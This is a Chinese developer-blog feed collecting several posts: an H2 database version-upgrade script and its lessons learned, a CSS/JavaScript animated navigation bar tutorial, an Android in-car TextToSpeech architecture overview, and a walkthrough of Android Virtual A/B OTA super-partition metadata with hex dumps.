Exception in thread "main" org.h2.jdbc.JdbcSQLSyntaxErrorException: Syntax error in SQL statement " \000aCREATE PRIMARY[*] KEY SYSTEM_LOB_STREAM_PRIMARY_KEY ON SYSTEM_LOB_STREAM(ID, PART)"; expected "OR, FORCE, VIEW, ALIAS, SEQUENCE, USER, TRIGGER, ROLE, SCHEMA, CONSTANT, DOMAIN, TYPE, DATATYPE, AGGREGATE, LINKED, MEMORY, CACHED, LOCAL, GLOBAL, TEMP, TEMPORARY, TABLE, SYNONYM, UNIQUE, HASH, SPATIAL, INDEX"; SQL statement:
 
CREATE PRIMARY KEY SYSTEM_LOB_STREAM_PRIMARY_KEY ON SYSTEM_LOB_STREAM(ID, PART) [42001-206]

怀疑是设置了 KEY 为非关键字导致的,所以修改 SQL 中 KEY 关键字加双引号后,导入还是报这个错误。

然后比对主键创建语句发现其他表的主键创建不是用 CREATE PRIMARY KEY 而是用 ALTER TABLE 添加的,改成一样的语法:

ALTER TABLE PUBLIC.SYSTEM_LOB_STREAM ADD CONSTRAINT PUBLIC.CONSTRAINT_6C0124 PRIMARY KEY(ID, PART);

结果导入还是报错 BDATA BINARY 列 Value too long:

image.png

导出命令只能针对整个数据库文件,没有单独排除某个表的方法。估计是这个表没法处理了,只能舍弃掉该表了。

升级文件准备

因为 BLOB 字段问题,放弃该表,采取迂回处理。

  1. 导出 1.x 版本的数据之前,先执行一个删除包含 BLOB 字段的表的操作。
  2. 导入 2.x 版本后再补充执行创建 BLOB 表的操作。

准备 h2 升级文件,清单如下:

  1. 新版本:h2-2.0.206.jar。
  2. 旧版本:h2-1.4.197.jar。
  3. 删除BLOB表的脚本:BLOB_TABLE_DROP.sql。
  4. 创建BLOB表的脚本:BLOB_TABLE_CREATE.sql。
  5. 旧版本的数据库文件。

将这些文件放在同一个目录下,直接用 jar 包中的导入、导出工具完成数据库升级。

升级脚本编写

#!/bin/sh
dir=$(dirname "$0")

# Step1:Prepare for upgrade.
appHome=`pwd`
echo 'home path is '$appHome

# Step2:Clear history db file and restart h2 with version 2.x.
cd $appHome/h2/
rm -rf app*
sh stop.sh
sh startH2ByV2.sh

# Step3:Upgrade h2 dt.mv.dv from v1.4.197 to v2.0.206 as file format is related to h2 version.
# 3.1 Get username and password ,need to trim return char ,otherwise will encounter「Wrong user name or password」error.
username=$(cat $appHome/conf/db.properties |grep username=|awk -F "=" '{print $2}'|tr -d ' \r')
password=$(cat $appHome/conf/db.properties |grep password=|awk -F "=" '{print $2}'|tr -d ' \r')

# 3.2 Copy old version db file to h2  directory.
cp $appHome/data/appDBData.mv.db .

# 3.3 Drop table with BLOB field and export use v1.4.197.
java -cp h2-1.4.197.jar org.h2.tools.RunScript -url "jdbc:h2:file:./appDBData" -user $username -password $password -script BLOB_TABLE_DROP.sql
java -cp h2-1.4.197.jar org.h2.tools.Script -url "jdbc:h2:file:./appDBData" -user $username -password $password -script app_backup.sql

# 3.4 Create dt-new use v2.0.206 and create table with BLOB field for new db.
java -cp h2-2.0.206.jar org.h2.tools.RunScript -url "jdbc:h2:file:./appDBData-new;MODE=LEGACY;NON_KEYWORDS=USER,KEY,PATH,COMMAND,INTERVAL,VALUE,USERNAME,PASSWORD,UNIT,DAYTIME,HOUR" -user $username -password $password -script app_backup.sql
java -cp h2-2.0.206.jar org.h2.tools.RunScript -url "jdbc:h2:file:./appDBData-new" -user $username -password $password -script BLOB_TABLE_CREATE.sql

# Step4:Update app's db file and restart.
# 4.1 Copy dt-new.mv.db to data directory.
cp appDBData-new.mv.db $appHome/data/

# 4.2 Update db.properties url with new db file.
cp $appHome/conf/db.properties $appHome/conf/db-h2-v1.properties
dtNew=$(cat $appHome/conf/db.properties|grep 'NON_KEYWORDS')
if [ -z $dtNew ]; then
    echo "Update db.properties use new database file."
    sed -i -c "s/data\/appDBData/data\/appDBData-new;NON_KEYWORDS=USER,KEY,PATH,COMMAND,INTERVAL,VALUE,USERNAME,PASSWORD,UNIT,DAYTIME,HOUR/" $appHome/conf/db.properties
else
    echo "Db.properties is already updated with new database file."
fi

# 4.3 Restart app.
cd $appHome/bin
sh app.sh restart

启示录

总体来看比较简单的,但时升级时截取应用配置的数据库帐密信息时遇到一个问题,就是通过脚本截取的信息一直报帐号或密码错误「Wrong user name or password」,而直接设置帐号和密码又能正确导入导出。

所以断定解析结果出了问题,果然是 awk -F 截取到的信息结尾有一个 CR 字符,该配置文件是 CRLF 的分隔符,awk 除了了 \n 还是保留了一个 CR 字符即 \r ,需要去掉才能得到正确的数据库信息。

修正获取认证信息的脚本,结尾加上 tr -d ' \r' 就可以了。

username=$(cat $appHome/conf/db.properties |grep username=|awk -F "=" '{print $2}'|tr -d ' \r')

还有一个启示就是,数据库建表时需要谨慎,起名的时候应该避开数据库的保留关键字。例如数据库有一个表的某个字段名称就是 KEY,这是明显的索引关键字呀。

此外,如果用原生 JDBC 操作数据库,应该用列序号来处理查询结果,避免直接用列名称,因为不同数据库列名称大小写有差异。比如 Oracle 默认大写,但是 Postgrel 默认小写,程序想兼容不同数据库,最好用 getString(columnIndex) 这个方法来获取查询结果。

2024年有半年是在排这个老项目的坑,一全栈开发硬是成了运维角色,一年了,没正经写过代码。甲辰年腊月二十六,我们腊月二十九才开始放假啊!

by 毕小宝 at January 25, 2025 03:17 AM

juejin frontend

HTML&CSS :如此丝滑优雅的导航栏

这段代码创建了一个动态的导航栏,通过 CSS 技术实现了按钮的激活和悬停效果,以及动态背景效果,为页面添加了视觉吸引力和用户交互体验。

演示效果

HTML&CSS

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>公众号关注:前端Hardy</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background-color: #075985;
            display: flex;
            align-items: center;
            justify-content: center;
            height: 100vh;
        }

        nav {
            --_width: 50px;
            --_padding: 1rem;
            --_speed: 300ms;
            --_f-size: 1.5rem;
            --_clr-border: rgba(255, 255, 255, .3);
            --_clr-bg-rgb: 2, 6, 23;
            --_clr-f: rgb(255, 255, 255);

            display: flex;
            border: 1px solid var(--_clr-border);
            border-radius: 20px;
            padding-inline: var(--_padding);
            background-color: rgb(var(--_clr-bg-rgb));
            position: relative;
            isolation: isolate;
        }

        @media (min-width: 600px) {
            nav {
                --_width: 100px;
                --_f-size: 2rem;
            }
        }

        button {
            border: none;
            padding: none;
            background: transparent;
            color: var(--_clr-f);
            cursor: pointer;
            font-size: var(--_f-size) !important;
            width: var(--_width);
            aspect-ratio: 3/2;
            opacity: 0.5;
            transition:
                opacity var(--_speed) ease-in-out,
                width var(--_speed) ease-in-out;
            display: grid;
            place-content: center;
        }

        button>span {
            scale: var(--_speed) ease-in-out;
            font-size: 14px;
        }

        button.active,
        button:hover {
            opacity: 1;
        }

        button.active>span,
        button:hover>span {
            scale: 1.15;
            pointer-events: none;
        }

        nav::before,
        nav::after {
            content: '';
            position: absolute;
            top: -25%;
            left: var(--_padding);
            width: var(--_width);
            aspect-ratio: 1;
            z-index: -1;
            border-top: 1px solid var(--_clr-border);
            border-bottom: 1px solid var(--_clr-border);
            border-radius: 999px;
            transform: translateX(calc(var(--_x, 2) * 100%));
            transition:
                transform var(--_speed) ease-in-out,
                width var(--_speed) ease-in-out,
                opacity var(--_speed) ease-in-out;
        }

        nav::before {
            --_x: var(--_x-active);
            background-color: rgb(var(--_clr-bg-rgb));
        }

        nav::after {
            --_x: var(--_x-hover);
            background-color: rgba(var(--_clr-bg-rgb), .4);
            opacity: 0;
        }

        nav:has(button:nth-child(1).active)::before {
            --_x-active: 0;
        }

        nav:has(button:nth-child(2).active)::before {
            --_x-active: 1;
        }

        nav:has(button:nth-child(3).active)::before {
            --_x-active: 2;
        }

        nav:has(button:nth-child(4).active)::before {
            --_x-active: 3;
        }

        nav:has(button:nth-child(5).active)::before {
            --_x-active: 4;
        }

        nav:has(button:nth-child(1):hover)::after {
            --_x-hover: 0;
            opacity: 1;
        }

        nav:has(button:nth-child(2):hover)::after {
            --_x-hover: 1;
            opacity: 1;
        }

        nav:has(button:nth-child(3):hover)::after {
            --_x-hover: 2;
            opacity: 1;
        }

        nav:has(button:nth-child(4):hover)::after {
            --_x-hover: 3;
            opacity: 1;
        }

        nav:has(button:nth-child(5):hover)::after {
            --_x-hover: 4;
            opacity: 1;
        }
    </style>
</head>

<body>
    <nav>
        <button type="button"><span class="">首页</span></button>
        <button type="button"><span class="">钱包</span></button>
        <button type="button"><span class=" active">金融</span></button>
        <button type="button"><span class="">商城</span></button>
        <button type="button"><span class="">我的</span></button>
    </nav>
    <script>
        document.querySelector("nav").addEventListener("click", (e) => {
            if (e.target.tagName == "BUTTON") {
                document.querySelector("nav .active").classList.remove("active");
                e.target.classList.add("active");
            }
        });
    </script>
</body>

</html>

HTML 结构

  • body: 包含页面的可见内容。
  • nav: 创建一个 nav 元素,用于包含导航栏的各个按钮。
  • 五个 button: 每个 button 代表一个导航按钮,包含一个 span 元素显示按钮文本。
  • span: 显示按钮的文本内容。

CSS 样式

  • body: 设置页面的边距、填充、背景色、显示方式和对齐方式。
  • nav: 设置导航栏的样式,包括宽度、内边距、边框、圆角、背景色和位置。
  • @media (min-width: 600px): 媒体查询,当屏幕宽度大于 600px 时,调整导航栏的宽度和字体大小。
  • button: 设置按钮的样式,包括边框、背景、颜色、光标、字体大小、宽度、比例、透明度和过渡效果。
  • button>span: 设置按钮文本的样式,包括缩放和字体大小。
  • button.active, button:hover: 设置按钮在激活或悬停时的样式,包括透明度。
  • button.active>span, button:hover>span: 设置按钮文本在激活或悬停时的样式,包括缩放。
  • nav::before, nav::after: 设置导航栏的伪元素,用于创建动态背景效果。
  • nav::before: 设置导航栏的背景效果,包括位置、宽度、比例、边框、圆角和背景色。
  • nav::after: 设置导航栏的悬停背景效果,包括位置、宽度、比例、边框、圆角和背景色。
  • nav:has(button:nth-child(n).active)::before: 设置导航栏的背景效果,根据激活的按钮位置调整。
  • nav:has(button:nth-child(n):hover)::after: 设置导航栏的悬停背景效果,根据悬停的按钮位置调整。

JavaScript 部分

  • 添加一个事件监听器,当点击导航栏中的按钮时,移除当前激活按钮的 active 类,并为被点击的按钮添加 active 类。

by 前端Hardy at January 25, 2025 03:16 AM

juejin android

Android车载开发启示录|语音篇-TextToSpeech 的声音魔法

前言

Android车载开发启示录|语音篇-全局在胸的博客。笔者介绍了车载语音系统的实现流程,包括语音捕捉、语音识别、自然语言处理、文本到语音等环节。其中文本到语音(TextToSpeech)这一环在整个语音系统中是非常重要,可以说是必不可少的。

本篇博客将从 TTS 的基础知识入手,详细介绍如何在Android项目中实现文本到语音转换的,揭秘TextToSpeech的声音魔法

什么是 TextToSpeech?

TextToSpeech Android 提供的文本到语音转换框架,主要功能是将字符串形式的文本转化为可听的语音。在车载系统环境下,它的应用场景涵盖语音导航、消息播报、语音助手等功能:

  1. 语音导航
    TTS 被广泛应用于车载导航系统,用于将实时的路径指引以语音形式播报。例如:

    • "请在前方 500 米右转"
    • 动态交通更新,如 "前方出现拥堵,正在为您重新规划路线"
  2. 消息通知
    车载系统会通过 TTS 将短信、日程或应用通知内容读出来,减少驾驶员查看屏幕的需求,从而提高安全性。

  3. 语音助手
    集成 TTS 的语音助手能够通过语音回答驾驶员的查询,例如天气、股票信息或系统设置。

  4. 无障碍功能
    为驾驶员提供辅助语音功能,例如读出菜单选项或帮助信息,提高人机交互的友好性。

TextToSpeech 的核心是语音合成引擎,Android 系统通常预装 Google TTS 引擎,但开发者也可以选择第三方引擎。

TextToSpeech 的实现

架构

TextToSpeech 的架构可以划分为以下层次:

TTS架构.png

1.应用层

负责与开发者和用户交互,包括 API 调用与界面操作。

Android 提供的 android.speech.tts.TextToSpeech 类允许开发者在应用中轻松集成 TTS 功能。

2.框架层

Android 系统提供的 TextToSpeech 服务及其接口组成,负责连接应用与底层引擎。并提供了一套抽象接口和系统服务:

(1)TextToSpeechService

  • Android 系统的 TTS 服务,通过 AIDL(Android 接口定义语言)与应用层通信。
  • 负责调用 TTS 引擎,管理实例的生命周期。
  • 支持多用户、多任务并发操作。

(2)TextToSpeechManager

  • 系统级管理类,用于协调多个应用对 TTS 引擎的访问。
  • 例如,语音导航的播报优先级可能高于音乐通知。

(3)配置与优化

  • 设置默认引擎:通过系统设置界面或编程方式设置默认的 TTS 引擎。
  • 调整音频属性:通过 AudioAttributes 配置音频流类型。

3.引擎层

引擎层是整个架构的核心部分,负责实际的文本到语音转换,可能由 Google TTS、第三方 TTS 引擎或设备厂商定制的引擎提供。

TTS 引擎种类

  • Google TTS:Android 默认的语音合成引擎,支持在线和离线模式。
  • 第三方引擎:如 Nuance、Cerence 等,提供高级语音功能和定制化能力。
  • 设备厂商自研引擎:部分车厂可能提供优化后的 TTS 引擎以适配其车载系统。

4.音频输出层

通过 Audio HAL 将生成的语音音频传递到车载音响设备。

(1)AudioTrack 与 AudioFlinger TTS 引擎生成语音数据后,通过 AudioTrack 播放,AudioFlinger 负责管理音频流的混合与路由。

(2)音频 HAL(Hardware Abstraction Layer) HAL 将音频信号转换为硬件设备可识别的格式,并输出到车载扬声器。

(3)多音频流管理 在 Android Automotive 中,多个音频流(如导航、电话、媒体)可能同时存在。根据场景设置对应的音频流。

TextToSpeech 应用层的实现

1. 初始化 TTS 引擎

在使用 TTS 前,需要初始化引擎,并确保引擎加载成功。以下是基本的初始化代码:

private TextToSpeech textToSpeech;

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    textToSpeech = new TextToSpeech(this, status -> {
        if (status == TextToSpeech.SUCCESS) {
            int result = textToSpeech.setLanguage(Locale.US);
            if (result == TextToSpeech.LANG_MISSING_DATA || result == TextToSpeech.LANG_NOT_SUPPORTED) {
                Log.e("TTS", "Language not supported");
            }
        } else {
            Log.e("TTS", "Initialization failed");
        }
    });
}

2. 语音合成

使用 speak() 方法将文本转化为语音:

public void speakText(String text) {
    textToSpeech.speak(text, TextToSpeech.QUEUE_FLUSH, null, null);
}
  • QUEUE_FLUSH:清空当前队列并立即播放新文本。
  • QUEUE_ADD:将新文本添加到播放队列中。

3. 调整语音属性

开发者可以通过以下方法调整语音的语速和音调:

textToSpeech.setPitch(1.0f); // 默认音调,范围 0.1 到 2.0
textToSpeech.setSpeechRate(1.0f); // 默认语速,范围 0.1 到 2.0

4. 释放资源

在不再需要使用 TTS 时,必须释放资源以避免内存泄漏:

@Override
protected void onDestroy() {
    if (textToSpeech != null) {
        textToSpeech.stop();
        textToSpeech.shutdown();
    }
    super.onDestroy();
}

TextToSpeech 系统调度

Android TextToSpeech 的系统调度是通过多层架构和组件实现的,涵盖了应用层、框架层和底层服务。以下是系统调度的详细流程解析:

系统调度流程

TextToSpeech-speak.png

  1. 应用层调用应用开发者通过TextToSpeech API发起语音合成请求,例如speak()synthesizeToFile() 方法。
  2. 跨进程通信 (IPC)应用层的请求会通过 Binder 机制传递到 Android 系统服务层。
  3. TTS 服务调度系统中的 TextToSpeechService 会接收请求,执行语音合成调度逻辑。
  4. 引擎处理请求被转发至当前设置的 TTS 引擎(如 Google TTS),引擎负责具体的文本解析、语音合成。
  5. 音频输出合成的语音数据通过 AudioTrack或其他音频接口播放,也可选择输出到文件。
1. 应用层请求

开发者在应用层通过 TextToSpeech 类向系统发起语音请求。例如:

textToSpeech.speak("Hello, world!", TextToSpeech.QUEUE_FLUSH, null, null)

TextToSpeech 类内部通过 ITtsCallback 接口与系统服务通信。

2. Binder 通信

TextToSpeech 的实现依赖于Binder IPC调用,将请求转发至 TextToSpeechService

public void speak(String text, int queueMode, Bundle params, String utteranceId) {
    try {
        mService.speak(text, queueMode, params, utteranceId);
    } catch (RemoteException e) {
        Log.e(TAG, "RemoteException in speak()", e);
    }
}

mService 是一个通过Binder获取的远程接口实例。

3. TextToSpeechService

在系统服务层,TextToSpeechService 是 TTS 的核心调度服务,处理来自应用的请求。关键代码如下:

@Override
public void speak(String text, int queueMode, Bundle params, String utteranceId) {
    synchronized (mLock) {
        if (mCurrentEngine == null) {
            throw new IllegalStateException("No TTS engine is bound");
        }
        mCurrentEngine.speak(text, queueMode, params, utteranceId);
    }
}

mCurrentEngine 是当前绑定的 TTS 引擎实例。调度逻辑包括队列管理(如 QUEUE_FLUSH 和 QUEUE_ADD)以及引擎调用。

4. TTS 引擎

系统会根据用户设置加载 TTS 引擎(如 Google TTS 或其他第三方引擎)。TTS 引擎的接口定义在 TextToSpeechService.Engine

@Override
public int onSynthesizeText(SynthesisRequest request, SynthesisCallback callback) {
    String text = request.getText();
    int result = synthesize(text, callback);
    return result;
}
  • SynthesisRequest 包含合成参数,如文本内容、语言设置。
  • SynthesisCallback 用于将生成的音频数据回调到系统。
5. 音频输出

TTS 合成的语音数据最终通过 AudioTrack 播放

AudioTrack 是 Android 提供的低级音频接口,用于流式播放 PCM 数据。系统也支持将音频保存为文件,便于后续使用。

@Override
public void audioAvailable(byte[] buffer) {
    if (mAudioTrack != null) {
        mAudioTrack.write(buffer, 0, buffer.length);
    }
}

参考资源

by 树獭非懒 at January 25, 2025 03:01 AM

Android 系统 Virtual A/B OTA 升级原理

原文链接:mp.weixin.qq.com/s/tMNsKgNfy…

Android在A/B更新机制的基础上演进出了Virtual A/B更新机制,以减少升级过程中的磁盘空间开销。

Virtual A/B 不像 legacy A/B 一样在动态分区上真实地分配了a/b两份空间。而是将升级增量写入快照,然后在确认启动成功后合并到基本分区中。Virtual A/B 使用了 Android 定制的快照格式。这使得快照可以被压缩并最大限度地减少磁盘空间的使用。在全量 OTA 中,通过压缩,快照大小减少了约 45%,而差分 OTA 快照大小减少了约 55%。

接下来从快照如何创建的角度来探索Virtual A/B的升级原理。

快照分区的创建

super分区的数据格式

super分区的layout:

0x0000   +--------------------+
         | reserved           |
0x1000   +--------------------+
         | primary Geometry   |
0x2000   +--------------------+
         | backup  Geometry   |
0x3000   +--------------------+
         | primary Metadata   |
0x13000  +--------------------+
         | backup Metadata    |
0x23000  +--------------------+
         | backup Metadata    |
0x33000  +--------------------+
         | backup Metadata    |
0x43000  +--------------------+
         |                    |
         |                    |
0x100000 +--------------------+
         | system_a           |
         +--------------------+
         | system_ext_a       |
         +--------------------+
         | vendor_a           |
         +--------------------+
         | ...... other       |
         | Logical Partitions |

期中super分区开头预留的4096空间是为了避免创建意外的引导区

system/core/fs_mgr/liblp/include/liblp/metadata_format.h:

/* Amount of space reserved at the start of every super partition to avoid
 * creating an accidental boot sector.
 */
#define LP_PARTITION_RESERVED_BYTES 4096

定义super分区中metadata结构详细信息在 system/core/fs_mgr/liblp/include/liblp/metadata_format.h

我们找个super.img分析一下。

先将稀疏矩阵格式的super.img转化为普通img:

simg2img super.img super_orig.img

然后使用xxd命令, 即可看到super的primary Geometry

$ xxd -l 8192 super_orig.img
0000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
         ........开头预留的4096都是0
         从0x1000开始就是primary Geometry
0001000: 6744 6c61 3400 0000 12ff 55f0 aba7 b506  gDla4.....U.....
0001010: f25c b5da 5dca 0934 4234 e8df 1d9c 93ae  ...]..4B4......
0001020: 82a4 99d9 8019 467e 0000 0100 0300 0000  ......F~........
0001030: 0010 0000 0000 0000 0000 0000 0000 0000  ................
0001040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
         ........都是0

读取primary Metadata数据: GetPrimaryMetadataOffset() = LP_PARTITION_RESERVED_BYTES + (LP_METADATA_GEOMETRY_SIZE * 2) + geometry.metadata_max_size * slot_number = 4096 + 4096 * 2 + 0x10000 * slot_number

Metadata数据格式:

 *  +-----------------------------------------+
 *  | Header data - fixed size                |
 *  +-----------------------------------------+
 *  | Partition table - variable size         |
 *  +-----------------------------------------+
 *  | Partition table extents - variable size |
 *  +-----------------------------------------+
 *  | Partition groups - variable size        | 
 *  +-----------------------------------------+
 *  | Block devices -    variable size        | 
 *  +-----------------------------------------+

期中Header data数据结构为LpMetadataHeader:

typedef struct LpMetadataHeader {
    /*  0: Four bytes equal to LP_METADATA_HEADER_MAGIC. */
    uint32_t magic;

    /*  4: Version number required to read this metadata. If the version is not
     * equal to the library version, the metadata should be considered
     * incompatible.
     */
    uint16_t major_version;

    /*  6: Minor version. A library supporting newer features should be able to
     * read metadata with an older minor version. However, an older library
     * should not support reading metadata if its minor version is higher.
     */
    uint16_t minor_version;

    /*  8: The size of this header struct. */
    uint32_t header_size;

    /* 12: SHA256 checksum of the header, up to |header_size| bytes, computed as
     * if this field were set to 0.
     */
    uint8_t header_checksum[32];

    /* 44: The total size of all tables. This size is contiguous; tables may not
     * have gaps in between, and they immediately follow the header.
     */
    uint32_t tables_size;

    /* 48: SHA256 checksum of all table contents. */
    uint8_t tables_checksum[32];

    /* 80: Partition table descriptor. */
    LpMetadataTableDescriptor partitions;
    /* 92: Extent table descriptor. */
    LpMetadataTableDescriptor extents;
    /* 104: Updateable group descriptor. */
    LpMetadataTableDescriptor groups;
    /* 116: Block device table. */
    LpMetadataTableDescriptor block_devices;

    /* Everything past here is header version 1.2+, and is only included if
     * needed. When liblp supporting >= 1.2 reads a < 1.2 header, it must
     * zero these additional fields.
     */

    /* 128: See LP_HEADER_FLAG_ constants for possible values. Header flags are
     * independent of the version number and intended to be informational only.
     * New flags can be added without bumping the version.
     */
    uint32_t flags;

    /* 132: Reserved (zero), pad to 256 bytes. */
    uint8_t reserved[124];
} __attribute__((packed)) LpMetadataHeader;

Header data的二进制数据如下:

$ xxd -s 12288 -l 65536 super_orig.img
0003000: 3050 4c41 0a00 0200 0001 0000 4bda 5dea  0PLA........K.].
0003010: ca67 6075 27fe fa53 8940 1311 afe8 58da  .g`u'..S.@....X.
0003020: ec28 ca64 5f4a 4f87 5148 de07 d003 0000  .(.d_JO.QH......
0003030: b11f 2677 b804 208b 59e0 d78a 6bd2 65aa  ..&w.. .Y...k.e.
0003040: 4ee2 d8d5 4d64 768e 0e34 63e3 0d03 a8f6  N...Mdv..4c.....

0003050: 0000 0000 0c00 0000 3400 0000 7002 0000  ........4...p...
0003060: 0600 0000 1800 0000 0003 0000 0300 0000  ................
0003070: 3000 0000 9003 0000 0100 0000 4000 0000  0...........@...
0003080: 0100 0000 0000 0000 0000 0000 0000 0000  ................

0x414C5030为LpMetadataHeader.magic
从0x3050开始,是
    /* 80: Partition table descriptor. */
    LpMetadataTableDescriptor partitions;
    /* 92: Extent table descriptor. */
    LpMetadataTableDescriptor extents;
    /* 104: Updateable group descriptor. */
    LpMetadataTableDescriptor groups;
    /* 116: Block device table. */
    LpMetadataTableDescriptor block_devices;
的数据。

typedef struct LpMetadataTableDescriptor {
    /*  0: Location of the table, relative to end of the metadata header. */
    uint32_t offset;
    /*  4: Number of entries in the table. */
    uint32_t num_entries;
    /*  8: Size of each entry in the table, in bytes. */
    uint32_t entry_size;
} __attribute__((packed)) LpMetadataTableDescriptor;

解析得:
LpMetadataTableDescriptor partitions:
uint32_t offset = 0 // LpMetadataHeader 大小为256, 所以分区表从0x3100开始
uint32_t num_entries = 0x0c = 12 //12个分区
uint32_t entry_size = 0x34

LpMetadataTableDescriptor extents
uint32_t offset = 0x270 // LpMetadataHeader 大小为256, 所以extents表从0x3370开始
uint32_t num_entries = 0x06 = 6 //6个extent
uint32_t entry_size = 0x18 //每个extent条目的大小

LpMetadataTableDescriptor groups
uint32_t offset = 0x300 // LpMetadataHeader 大小为256, 所以groups表从0x3400开始
uint32_t num_entries = 0x03 = 3 //3个group
uint32_t entry_size = 0x30 //每个group条目的大小

LpMetadataTableDescriptor block_devices
uint32_t offset = 0x390 // LpMetadataHeader 大小为256, 所以block_devices表从0x3490开始
uint32_t num_entries = 0x01 = 1 //1个block_device
uint32_t entry_size = 0x40 //每个block_device条目的大小

接着从0x3100开始解析分区表:

分区表 LpMetadataPartition, 大小0x34:
0003100: 7379 7374 656d 5f61 0000 0000 0000 0000  system_a........
0003110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0003120: 0000 0000 0100 0000 0000 0000 0100 0000  ................
0003130: 0100 0000 7379 7374 656d 5f62 0000 0000  ....system_b....
0003140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0003150: 0000 0000 0000 0000 0100 0000 0100 0000  ................
0003160: 0000 0000 0200 0000 7379 7374 656d 5f65  ........system_e
name[36]     attributes    first_extent_index    num_extents    group_index
system_a     01            0                     01             01
system_b     01            01                    0              02
system_ext_a 01            01                    01             01
system_ext_b 01            02                    0              02
vendor_a     01            02                    01             01
......

从0x3370开始解析extents表:

0003370: e8e0 1100 0000 0000 0000 0000 0008 0000
0003380: 0000 0000 0000 0000 d0d2 0a00 0000 0000
0003390: 0000 0000 00f0 1100 0000 0000 0000 0000
00033a0: 3057 1600 0000 0000 0000 0000 00c8 1c00
00033b0: 0000 0000 0000 0000 788a 0400 0000 0000
00033c0: 0000 0000 0020 3300 0000 0000 0000 0000
00033d0: c04c 0700 0000 0000 0000 0000 00b0 3700
00033e0: 0000 0000 0000 0000 d043 0000 0000 0000
00033f0: 0000 0000 0000 3f00 0000 0000 0000 0000

LpMetadataExtent:

num_sectors   target_type  target_data  target_source
0x11e0e8      0 - LINEAR   0x800        0
0x0ad2d0      0 - LINEAR   0x11f000     0
0x165730      0 - LINEAR   0x1cc800     0
0x048a78      0 - LINEAR   0x332000     0
0x074cc0      0 - LINEAR   0x37b000     0
0x0043d0      0 - LINEAR   0x3f0000     0

0x3400开始解析groups表:

0003400: 6465 6661 756c 7400 0000 0000 0000 0000  default.........
0003410: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0003420: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0003430: 6772 6f75 705f 756e 6973 6f63 5f61 0000  group_unisoc_a..
0003440: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0003450: 0000 0000 0000 0000 0000 c05d 0100 0000  ...........]....
0003460: 6772 6f75 705f 756e 6973 6f63 5f62 0000  group_unisoc_b..
0003470: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0003480: 0000 0000 0000 0000 0000 c05d 0100 0000  ...........]....

LpMetadataPartitionGroup:

char name[36]   flags   maximum_size
default         0       0
group_unisoc_a  0       0x015dc00000
group_unisoc_b  0       0x015dc00000

0x3490开始解析block_devices表:

0003490: 0008 0000 0000 0000 0000 1000 0000 0000  ................
00034a0: 0000 005e 0100 0000 7375 7065 7200 0000  ...^....super...
00034b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00034c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

LpMetadataBlockDevice:

first_logical_sector = 0x0000000000000800
alignment = 0x00100000
alignment_offset = 0x0
size = 0x015e000000
partition_name[36] = super
flags = 0

由LpMetadataPartition.first_extent_index从extents表找到对应的extent, 然后根据找到的LpMetadataExtent.target_data和LpMetadataExtent.num_sectors即可从super分区中找到对应的分区数据。

如system_a的first_extent_index = 0, num_extents = 1 所以对应的extent是

num_sectors   target_type  target_data  target_source
0x11e0e8      0 - LINEAR   0x800        0

0x800 = 2048 0x11e0e8 = 1171688 通过命令

$ dd if=super_orig.img of=system_from_super.img skip=2048 ibs=512 obs=512 count=1171688

即可导出system.img

COW(copy-on-write)分区的创建

COW分区用于存储新系统和老系统的差分数据(新系统-老系统=COW)。COW内容默认会在super分区中创建临时的逻辑分区来进行存储, 而在super分区空间不够用时,就会在/data下创建COW文件。

所以可以根据需求适当减小super分区的大小,以增大date分区的大小,但需要确保在更新系统时,data分区有足够的空间用于存储COW文件。或者,设备只需确保 super 足够大,即可保证在系统升级时绝不需要 /data。参考 Size the super partition

现以都在super分区上创建COW为例分析COW的创建过程。

计算super的空闲空间,并分配给COW

system/core/fs_mgr/libsnapshot/snapshot.cpp:

Return SnapshotManager::CreateUpdateSnapshots(const DeltaArchiveManifest& manifest) {

    // 系统当前用的metadata
    auto current_metadata = MetadataBuilder::New(opener, current_super, current_slot);

    // 新系统的metadata
    //将current_metadata中的_a分区名字改为'_b',并赋值给target_metadata里的partitions, 原有的_b分区信息舍弃掉
    auto target_metadata =
            MetadataBuilder::NewForUpdate(opener, current_super, current_slot, target_slot);

    // Delete partitions with target suffix in |current_metadata|. Otherwise,
    // partition_cow_creator recognizes these left-over partitions as used space.
    // 从current_metadata中删掉'_b'的grop和partitions
    for (const auto& group_name : current_metadata->ListGroups()) {
        if (android::base::EndsWith(group_name, target_suffix)) {
            current_metadata->RemoveGroupAndPartitions(group_name);
        }
    }

    // 用来构建COW分区的参数
    PartitionCowCreator cow_creator{
            .target_metadata = target_metadata.get(),
            .target_suffix = target_suffix,
            .target_partition = nullptr,
            .current_metadata = current_metadata.get(),
            .current_suffix = current_suffix,
            .update = nullptr,
            .extra_extents = {},
            .compression_enabled = use_compression,
            .compression_algorithm = compression_algorithm,
    };

    auto ret = CreateUpdateSnapshotsInternal(lock.get(), manifest, &cow_creator, &created_devices,
                                             &all_snapshot_status);
    ret = InitializeUpdateSnapshots(lock.get(), target_metadata.get(),
                                    exported_target_metadata.get(), target_suffix,
                                    all_snapshot_status);
    //更新super上的分区表
    // [liblp]Updated logical partition table at slot 1 on device super
    if (!UpdatePartitionTable(opener, device_->GetSuperDevice(target_slot),
                              *exported_target_metadata, target_slot)) {
        LOG(ERROR) << "Cannot write target metadata";
        return Return::Error();
    }
}

CreateUpdateSnapshots里有2个关键参数current_metadatatarget_metadata, 它们是LpMetadata类型的数据,分别存储了当前系统和新系统的分区表信息。

Return SnapshotManager::CreateUpdateSnapshotsInternal(
        LockedFile* lock, const DeltaArchiveManifest& manifest, PartitionCowCreator* cow_creator,
        AutoDeviceList* created_devices,
        std::map<std::string, SnapshotStatus>* all_snapshot_status) {

    for (auto* target_partition : ListPartitionsWithSuffix(target_metadata, target_suffix)) {
        // Compute the device sizes for the partition.
        // 计算super上的剩余空间
